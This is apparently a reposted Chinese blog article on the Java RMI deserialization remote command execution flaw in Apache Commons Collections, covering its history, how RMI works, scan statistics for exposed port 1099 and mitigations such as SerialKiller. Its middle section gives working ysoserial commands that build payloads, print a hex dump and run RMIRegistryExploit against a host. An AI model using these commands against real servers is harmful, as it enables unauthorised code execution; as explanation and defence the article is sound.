JAVA反序列化中Rmi命令执行漏洞的分析


本篇文章给大家分享的是有关JAVA反序列化中Rmi命令执行漏洞的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文免费云主机域名章后可以有所收获,话不多说,跟着小编一起来看看吧。早在2015年的1月28号,Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,但当时并没有引起太大的关注。后来FoxGlove Security安全团队发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,当时各大src平台已被该漏洞刷屏,漏洞铺天盖地而来。针对这个”2015年最被低估”的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理,但是网络上仍有大量网站受此漏洞影响。本次讨论的对象是JAVA RMI反序列化远程命令执行漏洞。RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。Java rmi远程调用如下:RMI远程调用步骤:
l客户对象调用客户端辅助对象上的方法l客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象l服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象l调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象l服务端辅助对象将结果打包,发送给客户端辅助对象l客户端辅助对象将返回值解包,返回给客户对象l客户对象获得返回值1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。此处尝试利用ysoserial进行漏洞分析。
利用Java中Proxy的形式对攻击payload进行封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型,使得payload可以应对不同的应用。利用该漏洞可在服务器上执行相关命令,此处举例如下$ java -jar ysoserial.jar CommonsCollections1 calc.exe |xxd0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ….sr.2sun.refl0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride……….0000570: 0078 7071 007e 003a .xpq.~.:$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin$ nc xx.xx.xx.xx 1099
$ java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe利用该漏洞查看相关datasource文件内容RMI服务的攻击,同样可以使用URLClassLoader方法进行回显虽然Java RMI服务远程命令执行漏洞过去了4年的时间,但是公网上依然有很多服务器存在该漏洞,此处对国内1099的端口开放情况做了初步统计,具体结果如下:
通过对简单扫描结果进行统计发现,1099端口中国开放12310 台,其中将端口用于RMI交互的主机3891 台,占比31.6%;存在反序列化漏洞3114 台,占比 25.29%。 关闭rmi服务的端口在公网的开放; 下载SerialKiller临时补丁,这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型 在不影响业务的情况下,临时删除掉项目里的InvokerTransformer.class文件;定时对WebLogic、Apache、JBoss等中间件进行升级。以上就是JAVA反序列化中Rmi命令执行漏洞的分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注云编程开发博客行业资讯频道。

相关推荐: 掌握信息安全建设方法 了解信息安全策略

信息安全建设是一个非常细致、重要的工作。做好信息安全建设工作,首先需要对组织信息化发展的历史情况进行深入和全面的调研,知道家底、掌握情况,针对信息安全的主要内容进行整体的发展规划工作。在前面的文章中,我们了解到信息安全建设的目的,本文我们介绍信息安全建设的引领…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/02 18:49
下一篇 02/02 18:49